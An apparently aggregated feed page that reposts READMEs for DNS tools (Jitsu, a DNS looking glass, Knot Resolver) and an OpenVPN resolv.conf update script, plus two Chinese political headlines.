$ sudo ./jitsu dns=www.example.com,ip=127.0.0.1,name=Ubuntu -m suspend -c vbox:///session
Connecting to vbox:///session...
Adding domain 'www.example.com' for VM 'Ubuntu' with ip 127.0.0.1
Adding SOA 'example.com' with ttl=60
Adding A PTR for 'www.example.com' with ttl=60 and ip=127.0.0.1
Starting server on 127.0.0.1:53...
To test that Jitsu works, try to resolve the domain with host:
$ host www.example.com 127.0.0.1
Using domain server:
Name: 127.0.0.1
Address: 127.0.0.1#53
Aliases:

www.example.com has address 127.0.0.1
The domain should now be running.
$ virsh dominfo Ubuntu
Id: 2
Name: Ubuntu
UUID: 6e696eb7-09f4-484c-981b-8d34efa0304d
OS Type: hvm
State: running
CPU(s): 3
Max memory: 2147483648 KiB
Used memory: 3166208 KiB
Persistent: yes
Managed save: unknown
After 2 minutes without DNS requests, Jitsu will suspend the domain automatically. This timeout can be adjusted with the --ttl parameter. Jitsu terminates the VM after 2 x DNS TTL seconds has expired without new requests.

Options

    -b ADDR, --bind=ADDR (absent=127.0.0.1)
Bind local DNS server to interface with this IP

-c CONNECT, --connect=CONNECT (absent=xen:///)
Libvirt and Xapi connection string (e.g. xen+ssh://x.x.x.x/system
or vbox:///session)

-d SECONDS, --delay=SECONDS (absent=0.1)
Time to wait in seconds before responding to a DNS query after the
local VM has started. This delay gives the VM time to open up the
necessary TCP ports etc. Setting this value too low can result in
long delays on the first TCP request to the VM.

-f ADDR, --forwarder=ADDR
IP address of DNS server queries should be forwarded to if no local
match is found. Defaults to system default (/etc/resolv.conf) if
not specified. Set to 0.0.0.0 to disable forwarding.

--help[=FMT] (default=pager)
Show this help in format FMT (pager, plain or groff).

-l PORT, --listen=PORT (absent=53)
UDP port to listen for DNS queries

-m MODE, --mode=MODE (absent=destroy)
How to stop running VMs after timeout. Valid options are suspend,
destroy and shutdown. Suspended VMs are generally faster to resume,
but require resources to store state. Note that MirageOS
suspend/resume is currently not supported on ARM.

-p PORT, --port=PORT (absent=53)
UDP port to forward DNS queries to

--persistdb=path
Store the Irmin database in the specified path. The default is to
store the database in memory only. Note that modifying this
database while Jitsu is running is currently unsupported and may
crash Jitsu or have other unexpected results.

--synjitsu=UUID
UUID of a running Synjitsu compatible unikernel. When specified,
Jitsu will attempt to connect to a Synjitsu unikernel over Vchan on
port 'synjitsu' and send notifications with updates on MAC- and
IP-addresses of booted unikernels. This allows Synjitsu to send
gratuitous ARP on behalf of booting unikernels and to cache
incoming SYN packets until they are ready to receive them. This
feature is experimental and requires a patched MirageOS TCP/IP
stack.

-t SECONDS, --ttl=SECONDS (absent=60)
DNS TTL in seconds. The TTL determines how long the clients may
cache our DNS response. VMs are terminated after no DNS requests
have been received for TTL*2 seconds.

--version
Show version information.

-x BACKEND, --backend=BACKEND (absent=libvirt)
Which backend to use. Currently libvirt, xapi and libxl are
supported. Xapi and libxl are less tested and should be considered
experimental.

COMMON CONFIGURATION
response_delay
Override default DNS query response delay for this unikernel. See
also -d.

wait_for_key
Wait for this key to appear in Xenstore before responding to the
DNS query. Sleeps for [response_delay] after the key appears. The
key should be relative to /local/domain/[domid]/.

use_synjitsu
Enable Synjitsu for this domain if not 0 or absent (requires
Synjitsu support enabled)

LIBVIRT CONFIGURATION
name
Name of VM defined in libvirt (ignored if uuid is set)

uuid
UUID of VM defined in libvirt (required, but optional if name is
set)

dns DNS name (required)

ip IP to return in DNS reply (required)

XAPI CONFIGURATION
name
Name of VM defined in Xapi (ignored if uuid is set)

uuid
UUID of VM defined in Xapi (optional if name is set)

dns DNS name (required)

ip IP to return in DNS reply (required)

LIBXL CONFIGURATION
name
Name of created VM (required)

dns DNS name (required)

ip IP to return in DNS reply (required)

kernel
VM kernel file name (required)

memory
VM memory in bytes (required)

cmdline
Extra parameters passed to kernel (optional)

nic Network device (br0, eth0 etc). Can be set more than once to
configure multiple NICs (optional)

script
Virtual interface (VIF) configuration script. Can be set more than
once to specify a VIF script per network device (optional)

disk
Disk to connect to the Xen VM. Format '[dom0
device/file]@[hdX/xvdX/sdX etc]'. Can be set more than once to
configure multiple disks (optional)

rumprun_config
Path to file with rumprun unikernel JSON config (optional)
from  https://github.com/mirage/jitsu#mirageos-web-server

DNS Looking Glass

$
0
0

General
*******

This software is a "DNS looking glass". The DNS (Domain Name System)
is the distributed database used to retrieve data (typically IP
addresses) from domain
names
. <https://en.wikipedia.org/wiki/Domain_Name_System>

A "looking glass", among Internet engineers, typically refers to a
server on one network which serves information seen from this network
(two points of the Internet may see different things, that's why
looking glasses are important). Their main use, today, is to see BGP
<https://en.wikipedia.org/wiki/Border_Gateway_Protocol> routes from
another point of view
<https://en.wikipedia.org/wiki/Looking_Glass_servers>. But it is time
to extend them to the DNS.

The "DNS looking glass" allows you to get DNS data from another
server. This is useful to check site-dependent behavior. Among the
many reasons why the DNS data can be different in various places:
* cache poisoning, for instance by a Kaminsky attack
<https://en.wikipedia.org/wiki/DNS_cache_poisoning>,
* DNSSEC validation enabled at some places but not others,
* network problems making name servers unreachable from some places,
* caching effects (data in the cache at some places but not others),
* censorship making some names such as thepiratebay.org or
wikileaks.org unavailable in some sites.

License
*******

A simple, permissive, free software license, known as 2-clause BSD
license (or simplified BSD license; it is equivalent to the ISC
license). See LICENSE for the full text.

Usage
*****

We assume that someone installed the software. If you install it
yourself, see the next section.

The major usage of this program is through REST requests
<https://en.wikipedia.org/wiki/Representational_state_transfer> (if you
do not know REST, do not worry; basically, it means we use ordinary
HTTP requests). If the program is installed at
<https://dns.example.net/>, the URL for the requests will be
<https://dns.example.net/$DOMAIN[/$TYPE][/$CLASS]> where DOMAIN is the
domain name and TYPE a DNS record type (such as AAAA or MX).

More formally, following the language of URI Templates (RFC 6570), the
URLs of this service are
<https://dns.example.net/{+domain}/{querytype}/{queryclass}{?format,server,buffersize,dodnssec,tcp,reverse}>

There is a non-standard pseudo-querytype ADDR to request both A and
AAAA, specially for the links in the HTML output.

The default output format is determined by HTTP content negotiation,
so it depends on your client. You can use this program from an
ordinary Web browser, which will typically get HTML by default. With a
command-line client like curl, you can add the relevant header to get
the format you want;

curl -v -H 'Accept: application/json' $URLBASE/org/SOA

If content negotiation does not suit you, you can add in the URL the
option format=FORMAT where FORMAT is XML, HTML, TEXT, ZONE or JSON
(see next section). So, for instance, to get the IPv6 address of
www.example.com in XML, it will be
<https://dns.example.net/www.example.com/AAAA?format=XML>

You can add an option to select the name server to query (the default
one is chosen by the server, typically the default resolver(s) of the
machine). server=IP-ADDRESS (names are *not* supported)

To activate DNSSEC in the responses (to send the DO bit), use option
dodnssec=1 in the URL. This option will allow you (if the resolver
supports it) to see the AD (Authentic Data) flag.

To disable DNSSEC validation (if the resolver does it and you don't
want it), use option cd=1 (cd = Checking Disabled)

To use TCP (instead of UDP) for the request, use option tcp=1 in the
URL.

By default, the server queries the name servers with EDNS0 and a
buffer size of 4096 bytes. To change that, use the option buffersize
with the value you want. Setting it to 0 will disable EDNS.

For finding a domain name from an IP address, you can do requests with
the arpa domain name, for instance
<https://dns.example.net/1.2.0.192.in-addr.arpa/PTR> but you can also
use the option reverse to ask for the address to be turned into an
arpa domain name, for instance
<https://dns.example.net/192.0.2.1?reverse=1>.

There is a rate-limiter so, if you receive HTTP status code 429, it
means you have been too aggressive.

Format-specific things
**********************

The XML option follows partially the format of Internet-Draft
draft-mohan-dns-query-xml for the outer elements (plus some
extensions) and of draft-daley-dns-schema for the resource data. Note
that the query format does *not* follow the first draft's syntax.

The JSON option's format is documented in the file JSON.txt.

The HTML option's format is not documented. To style the output, a
sample CSS file is included in dnslg.css.

The Text option's format is not documented. It is intended for human
reading. If you need a structured format, use XML or JSON. If you
prefer text-based formats, for instance for processing with common
Unix CLI tools (awk, grep, etc), the best one is probably the Zone
format.

The Zone option's format follows section 5 of RFC 1035, with tabs as
separators.

Using it from a program
***********************

Of course, an important reason to have a structured output format is
to use it from a program. See the directory usages/ for sample
programs which query the DNS looking glass.

Requirements
************

Requires Python, then SimpleTAL, dnspython, webob and netaddr. If you
want to use the database of existing looking glasses, you will also
need the yaml module.
Debian/Ubuntu: packages "python-netaddr python-dnspython python-webob python-simpletal python-yaml"

Installation
************

python setup.py build
$SUDO-OR-SIMILAR python setup.py install

Then you have to configure a HTTP server to run this WSGI
script. Some configuration data can be sent by environment
variables. For instance, if you use Google Webmasters and have the
code (the cookie) "google1234baddcaf5678", *and* you want the program
to serve the file itself (it is not mandatory), then you need to
define the environment variable DNSLG_GOOGLE_WEBMASTERS_CODE to this
code.

For Apache, this is typically something like:


ServerName dns.example.net
DocumentRoot "/var/www/dns.example.net/root"


Options -Indexes FollowSymLinks +ExecCGI
SetHandler wsgi-script
Order allow,deny
Allow from all

WSGIScriptAlias / /var/www/dns.example.net/scripts/dnslg.py
WSGIDaemonProcess dns.example.net processes=5 threads=10 display-name=%{GROUP}
WSGIProcessGroup dns.example.net


where dnslg.py is copied and adapted from sample-wsgi-dnslg.py or
sample-wsgi-dnslg-with-config-file.py.

The starters with a configuration file use the INI format. Use
sample-config-file.ini as an example.

There are many other possibilities, either with Apache or with another
HTTP server with WSGI support. Browse the Web!

The official source is at Github
<https://github.com/bortzmeyer/dns-lg>. The best place to report bugs,
submit patches and give opinions is through the Github issue tracker.

Tests
*****

To try it locally;
% python test-server.py
Then, from another window:
% curl http://localhost:8080/example.org/A

Other DNS looking glasses
*************************

http://live.icmynet.com/icmynet-dns/ No API, Web only

http://www.zonecut.net/dns/index.cgi No API, Web only

http://www.whatsmydns.net/ REST URLs but no API

See also a more up-to-date list at the end of
<https://www.bortzmeyer.org/dns-lg.html>

Other code for DNS looking glasses
**********************************

* <http://dns-lg.sidnlabs.nl/index.html>
written in Go.

from https://github.com/bortzmeyer/dns-lg

年代向錢看 習近平不准香港見血!美國加快對台軍售!美中談判無交集!隨時再翻臉!


美國已認定中共是一個“邪教”組織;中美之間又豈是貿易戰這麼簡單?從美國國慶日談中美貿易衝突的本質

$
0
0

下载地址:https://www.bannedbook.org/download/downfile.php?id=2452

from https://www.bannedbook.org/resources/file/2452

anchordns解决dns污染问题似乎还行

dns解析服务器程序-Knot Resolver

$
0
0
https://www.knot-resolver.cz/
Build Status Coverage Status Documentation Status
Knot Resolver is a caching full resolver implementation written in C and LuaJIT, both a resolver library and a daemon. The core architecture is tiny and efficient, and provides a foundation and a state-machine like API for extensions. There are three modules built-in - iteratorvalidatorcache, and a few more are loaded by default. Most of the rich features are written in Lua(JIT) and C. Batteries are included, but optional.
The LuaJIT modules, support DNS privacy and DNSSEC, and persistent cache with low memory footprint make it a great personal DNS resolver or a research tool to tap into DNS data. TL;DR it's the OpenResty of DNS.
Strong filtering rules, and auto-configuration with etcd make it a great large-scale resolver solution.
The server adopts a different scaling strategy than the rest of the DNS recursors - no threading, shared-nothing architecture (except MVCC cache that may be shared) that allows you to pin instances on available CPU cores and grow by self-replication. You can start and stop additional nodes depending on the contention without downtime.
It also has strong support for DNS over TCP, notably TCP Fast-Open, query pipelining and deduplication, and response reordering.

Packages

The latest stable packages for various distributions are available in our upstream repository. Follow the installation instructions to add this repository to your system.
Knot Resolver is also available from the following distributions' repositories.

Building from sources

Knot Resolver mainly depends on Knot DNS libraries, LuaJIT and libuv. See the Building project documentation page for more information.

Docker image

This is simple and doesn't require any dependencies or system modifications, just run:
$ docker run -Pit cznic/knot-resolver
The images are meant as an easy way to try knot-resolver, and they're not designed for production use.

Running

The project builds a resolver library in the lib directory, and a daemon in the daemon directory. It requires no configuration or parameters to run a server on localhost.
$ kresd
See the documentation at knot-resolver.readthedocs.io for more options.

OpenVPN Update resolv.conf

$
0
0
Script that updates DNS settings are pushed by the OpenVPN server.

Description

This is a script to update your /etc/resolv.conf with DNS settings that come from the received push dhcp-options. Since network management is out of OpenVPN client scope, this script adds and removes the provided from those settings.
This script was found on the OpenVPN page of the Archlinux Wiki
However if you have systemd 229 or newer the better option is to use script from https://github.com/jonathanio/update-systemd-resolved which uses DBus calls instead of creating temporary *.network files.

Usage

Install openresolv
Place the script in /etc/openvpn/update-resolv-conf.sh or anywhere the OpenVPN client can acess.
Add the following lines to your client configuration:
# This updates the resolvconf with dns settings
setenv PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
script-security 2
up /etc/openvpn/update-resolv-conf.sh
down /etc/openvpn/update-resolv-conf.sh
down-pre
Just start your openvpn client with the command you used to do.
Alternatively, if you don't want to edit your client configuration, you can add the following options to your openvpn command:
--setenv PATH '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin' --script-security 2 --up /etc/openvpn/update-resolv-conf.sh --down /etc/openvpn/update-resolv-conf.sh --down-pre

Support

For bugs and another questions open a ticket in the Isssues Page.
You can find me on irc.freenode.org and in last case mail me through the email that is on my Github Profile

D. J. Bernsteins写的DNS解析服务器程序-djbdns

Viewing all 20475 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>